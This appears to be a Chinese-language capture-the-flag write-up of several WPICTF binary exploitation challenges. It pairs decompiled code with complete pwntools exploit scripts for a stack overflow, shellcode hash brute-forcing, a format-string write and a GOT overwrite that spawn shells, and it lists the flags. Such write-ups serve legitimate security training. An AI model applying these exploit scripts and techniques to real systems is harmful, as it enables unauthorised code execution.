目录
dorsia1
Description:
http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The first card.
nc dorsia1.wpictf.xyz 31337 or 31338 or 31339
made by: awg
Hint: Same libc as dorsia4, but you shouldn't need the file to solve.
Solution:
给了个视频,出现了很多写有代码的纸片,其中第一张纸片的代码如下:
#include <stdio.h> #include <stdlib.h> void main(){ char a[69] = {0}; printf("%p\n", system + 765772); fgets(a, 96, stdin); }
根据代码,推断是简单的栈溢出,无防护的那种,之后顺利提权
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from easyLibc import * from pwn import * context(arch="amd64", endian='el', os="linux") context.log_level = "debug" p = remote('dorsia1.wpictf.xyz', 31337) libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] addr_system = int(p.recv(14), 16) - 765772 # libc6_2.27-3ubuntu1_amd64.so libc = easyLibc('system', addr_system, 1) libcbase = addr_system - libc.dump('system') addr_one_gadget = libcbase + libc_one_gadget[1] pd = 'a' * 0x4d pd += p64(addr_one_gadget) p.sendline(pd) p.interactive()
Flag:
WPI{FEED_ME_A_STRAY_CAT}
dont@me
Description:
CURRENTLY BROKEN. WORKING ON A FIX. WILL ANNOUNCE. Binary appears to be fine, but out tweet-fetcher is broken.
tweet @JohnSmi31885382
made by: rm -k
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char *v4; // rax unsigned __int64 v5; // rax __int64 v6; // rsi __int64 v7; // [rsp+0h] [rbp-50h] __int64 v8; // [rsp+10h] [rbp-40h] char *s; // [rsp+18h] [rbp-38h] void *v10; // [rsp+20h] [rbp-30h] void *v11; // [rsp+28h] [rbp-28h] char v12; // [rsp+30h] [rbp-20h] unsigned __int64 v13; // [rsp+48h] [rbp-8h] v13 = __readfsqword(0x28u); printf("Poop.", argv, envp, argv); if ( argc <= 1 ) return -1; v4 = grab_message(*(v7 + 8)); s = v4; v8 = 0LL; v5 = strlen(v4); v10 = base64_decode(s, v5, &v8); if ( !v10 ) return -1; v6 = v8; do_md5(v10, v8, &v12); if ( !validate_hash(&v12) ) return -1; v11 = v10; (v10)(&v12, v6); return 0; }
grab_message 函数如下:
char *__fastcall grab_message(char *a1) { size_t v1; // rbx const char *v3; // [rsp+10h] [rbp-30h] char *v4; // [rsp+18h] [rbp-28h] char delim[2]; // [rsp+26h] [rbp-1Ah] unsigned __int64 v6; // [rsp+28h] [rbp-18h] v6 = __readfsqword(0x28u); strcpy(delim, " "); v3 = strtok(a1, delim); v4 = 0LL; while ( v3 ) { if ( !strchr(v3, '@') ) { if ( !v4 || (v1 = strlen(v3), v1 > strlen(v4)) ) v4 = v3; } v3 = strtok(0LL, delim); } return v4; }
validate_hash 函数如下:
signed __int64 __fastcall validate_hash(const char *a1) { unsigned int i; // [rsp+1Ch] [rbp-24h] char s2; // [rsp+20h] [rbp-20h] unsigned __int64 v4; // [rsp+38h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i <= 0; ++i ) { hash_shellcode(&s2, i); if ( !strncmp(a1, &s2, 0x10uLL) ) return 1LL; } return 0LL; }
hash_shellcode 函数如下:
unsigned __int64 __fastcall hash_shellcode(__int64 a1, int a2) { size_t v2; // rax void *v3; // rsp __int64 v5; // [rsp+0h] [rbp-70h] int v6; // [rsp+4h] [rbp-6Ch] __int64 v7; // [rsp+8h] [rbp-68h] int i; // [rsp+18h] [rbp-58h] int v9; // [rsp+1Ch] [rbp-54h] char *v10; // [rsp+20h] [rbp-50h] __int64 v11; // [rsp+28h] [rbp-48h] __int64 *v12; // [rsp+30h] [rbp-40h] unsigned __int64 v13; // [rsp+38h] [rbp-38h] v7 = a1; v6 = a2; v13 = __readfsqword(0x28u); v2 = strlen((&valid_shellcodes)[a2]); v9 = v2 >> 1; v10 = (&valid_shellcodes)[v6]; LODWORD(v2) = v2 >> 1; v11 = v2 - 1LL; v3 = alloca(16 * ((v2 + 15LL) / 0x10uLL)); v12 = &v5; for ( i = 0; i < v9; ++i ) { __isoc99_sscanf(v10, "%2hhx", v12 + i); v10 += 2; } do_md5(v12, v9, v7); return __readfsqword(0x28u) ^ v13; }
查看 valid_shellcodes 的值
.data:0000000000004090 valid_shellcodes dq offset aB801000000bf01 .data:0000000000004090 ; DATA XREF: hash_shellcode+3A↑o .data:0000000000004090 ; hash_shellcode+60↑o .data:0000000000004090 ; "b801000000bf01000000488d3508000000ba0c0"... .data:0000000000004098 dq offset aB83c000000bf53 ; "b83c000000bf530000000f05c3" .data:00000000000040A0 dq offset aBf32000000b800 ; "bf32000000b800000000bb010000004801d8488"...
有三个 shellcode,最上面的是他默认使用的 shellcode,shellcode 的值如下:
.rodata:0000000000002008 aB801000000bf01 db 'b801000000bf01000000488d3508000000ba0c0000000f05c348656c316f20773' .rodata:0000000000002008 ; DATA XREF: .data:valid_shellcodes↓o .rodata:0000000000002008 db '0724c642e00',0 .rodata:0000000000002055 aB83c000000bf53 db 'b83c000000bf530000000f05c3',0 .rodata:0000000000002055 ; DATA XREF: .data:0000000000004098↓o .rodata:0000000000002070 aBf32000000b800 db 'bf32000000b800000000bb010000004801d84889c14889d84889cb48ffcf75efc' .rodata:0000000000002070 ; DATA XREF: .data:00000000000040A0↓o .rodata:0000000000002070 db '3',0
经测试,程序默认使用的 shellcode 在进行 md5 加密后,得到的字符串为79fc008108a92bcd7edb7cb63ea714b3
可以看到第三位是 \x00,那么我们只要找到一个 shellcode 的 md5 值的前三位是79fc00
即可
因为 strncmp 在这只会匹配到第三位
这里可以先构造好 shellcode,然后往后面添加字节进行爆破
写了个 dfs 来递归找答案,最后用的 base64 的值是SDH2SIPCFkiJ10gx0kjHwDsAAAAPBS9iaW4vc2gAM6k9
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import base64 import hashlib import sys sys.setrecursionlimit(10000000) context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' pd = asm(''' xor rsi, rsi add rdx, 0x16 mov rdi, rdx xor rdx, rdx mov rax, SYS_execve syscall ''') pd += '/bin/sh\x00' sc = '' flag = 0 def dfs(dfs_pd, dep, depth): global sc, flag if flag: return if dep >= depth: res = hashlib.md5(dfs_pd).hexdigest() if res[0:6] == '79fc00': sc = base64.b64encode(dfs_pd) success('base64 = ' + sc) success('md5 = ' + res) flag = 1 return return for dfs_i in range(0, 0x100): dfs(dfs_pd + chr(dfs_i), dep + 1, depth) for i in range(0, 5): if flag: break dfs(pd, 0, i + 1) p = process(['./chall', sc]) p.interactive()
Flag:
动态靶机
dorsia3
Description:
http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The third card.
nc dorsia3.wpictf.xyz 31337 or 31338 or 31339
made by: awg
Solution:
程序保护如下:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char a[69]; // [esp+1h] [ebp-5Dh] int *v5; // [esp+52h] [ebp-Ch] v5 = &argc; printf("%p%p\n", a, &system - 72); fgets(a, 69, stdin); return printf(a, "%s\n"); }
格式化字符串乱打
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch="i386", endian='el', os="linux") # context.log_level = "debug" if debug == 1: p = process('./nanoprint') else: p = remote('dorsia3.wpictf.xyz', 31337) libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False) libc_one_gadget = [0x3d0d3, 0x3d0d5, 0x3d0d9, 0x3d0e0, 0x67a7f, 0x67a80, 0x137e5e, 0x137e5f] addr_stack = int(p.recv(10), 16) + 0x71 addr_system = int(p.recv(10), 16) + 0x120 libcbase = addr_system - libc.sym['system'] addr_one_gadget = libcbase + libc_one_gadget[3] success('addr_stack = ' + hex(addr_stack)) success('addr_system = ' + hex(addr_system)) success('addr_one_gadget = ' + hex(addr_one_gadget)) # gdb.attach(p, "b *$rebase(0x10C7)\nc") pd = fmtstr_payload(7, {addr_stack: addr_one_gadget}, offset_bytes=-1) p.sendlineafter('\n', pd) p.recv() p.interactive()
Flag:
WPI{Th3re_is_an_idea_of_4_Pa7rick_BatemaN}
dorsia4
Description:
http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The fourth card.
nc dorsia4.wpictf.xyz 31337 or 31338 or 31339
made by: awg
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
赛后看 wp 来复现,先贴源码:
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax __int64 b; // [rsp+0h] [rbp-50h] __int64 b_8; // [rsp+8h] [rbp-48h] __int64 b_16; // [rsp+10h] [rbp-40h] __int64 b_24; // [rsp+18h] [rbp-38h] __int64 b_32; // [rsp+20h] [rbp-30h] __int64 b_40; // [rsp+28h] [rbp-28h] __int64 b_48; // [rsp+30h] [rbp-20h] __int64 b_56; // [rsp+38h] [rbp-18h] __int64 b_64; // [rsp+40h] [rbp-10h] b = 0LL; b_8 = 0LL; b_16 = 0LL; b_24 = 0LL; b_32 = 0LL; b_40 = 0LL; b_48 = 0LL; b_56 = 0LL; LODWORD(b_64) = 0; BYTE4(b_64) = 0; while ( 1 ) { printf("%p giv i b\n", (char *)&system + 0xBAF4C, envp, b, b_8, b_16, b_24, b_32, b_40, b_48, b_56, b_64); __isoc99_scanf("%i %x", &i, &d); result = i; if ( i > 0x45 ) break; envp = (const char **)a; a[i] = d; } return result; }
由此可知,该程序可以任意写一个比 char a[] 的地址小的可写地址
那么我们就可以考虑复写 got 表了,这个程序的 got 表如下所示:
0x5583dba80000 ← 0x3df0 0x5583dba80008 → 0x7f11abfa0170 → 0x5583dba7c000 ← 0x10102464c457f 0x5583dba80010 → 0x7f11abd8e750 (_dl_runtime_resolve_xsavec) ← push rbx 0x5583dba80018 → 0x7f11ab9eae80 (printf) ← sub rsp, 0xd8 0x5583dba80020 → 0x7f11aba01ec0 (__isoc99_scanf) ← push rbx 0x5583dba80028 ← 0x0 0x5583dba80030 ← 0x5583dba80030 /* '0' */
因为要用 scanf 来进行输入那我我们只能选择复写 printf 的 got 表
但是随意复写又会直接使程序错误退出,这里就要找一个可利用点来进行多次单字节复写
这个题目给的 libc 是 Ubuntu 18.04 的,所以我直接先用 ROPgadget 工具 dump 出所有的 rop
然后找 printf 地址周围的 ret 地址,因为这样可以正常运行程序
已知 printf 的偏移是 0x64e80,那么我们可以运行如下命令:
root@leppwn:~/CTF/Pwn# strings rop.txt | grep 0064e | grep "ret" 0x0000000000064e62 : jne 0x64e75 ; add rsp, 0xd8 ; ret
经测试 ret 的地址为 0x64e6b,之后我们看 gdb 内显示的 regs 的情况
RAX 0x0 RBX 0x0 RCX 0x6b RDX 0x560fe0862080 ← 0x6b /* 'k' */ RDI 0x560fe0860004 ← '%p giv i b\n' RSI 0x7f6e9518e38c (exec_comm+2508) ← mov rax, qword ptr [rip + 0x2e0b15] R8 0x0 R9 0x0 R10 0x7f6e95222cc0 (_nl_C_LC_CTYPE_class+256) ← add al, byte ptr [rax] R11 0x560fe0860015 ← 0x343b031b01000000 R12 0x560fe085f050 ← endbr64 R13 0x7ffe7f6c3580 ← 0x1 R14 0x0 R15 0x0 RBP 0x7ffe7f6c34a0 → 0x560fe085f210 ← endbr64 RSP 0x7ffe7f6c3450 ← 0x0 RIP 0x560fe085f1b9 ← call 0x560fe085f030
此断点的位置为 brva 0x11B9,即原程序执行 printf 的地址
这里能看到 RDX 存放的是 a[] 数组的地址,那么我们可以考虑在之后改写 printf 的 got 表来call [rdx]
那么我们继续用刚刚生成的 rop 文本来寻找小范围内的相关 rop,要有 call 和 rdx
root@leppwn:~/CTF/Pwn# strings rop.txt | grep 006 | grep call | grep rdx 0x0000000000065767 : add rdx, r12 ; call qword ptr [r10 + rax*8] 0x000000000006576b : call qword ptr [rdx + rax*8] 0x0000000000065764 : lea ecx, [rbx + rdx] ; add rdx, r12 ; call qword ptr [r10 + rax*8] 0x0000000000065769 : loop 0x657b0 ; call qword ptr [rdx + rax*8] 0x0000000000065765 : or al, 0x13 ; add rdx, r12 ; call qword ptr [r10 + rax*8]
那么我们已经可以锁定 0x6576b 这个地址了,之前的 ret 地址是 0x64e6b,这说明我们只需要改一字节即可完成利用
所以这题的思路就是,先将 a[] 数组的值改为 addr_one_gadget,然后将 printf 的 got 表改为 ret 地址
之后再把 printf 的 got 表改为 0x6576b 对应的偏移地址即可
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('', ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] addr_system = int(p.recv(14), 16) - 0xBAF4C libcbase = addr_system - libc.sym['system'] addr_one_gadget = libcbase + libc_one_gadget[1] for i in range(0, 8): p.sendlineafter(' i b', str(i) + ' ' + hex(int(addr_one_gadget >> 8 * i & 0xff))) p.sendlineafter(' i b', '-0x68 0x6b') # gdb.attach(p, "b *$rebase(0x11FF)\nc") p.sendline('-0x67 ' + hex(int(libcbase + 0x6576b >> 8 & 0xff))) success('addr_one_gadget = ' + hex(addr_one_gadget)) p.interactive()
Flag:
动态靶机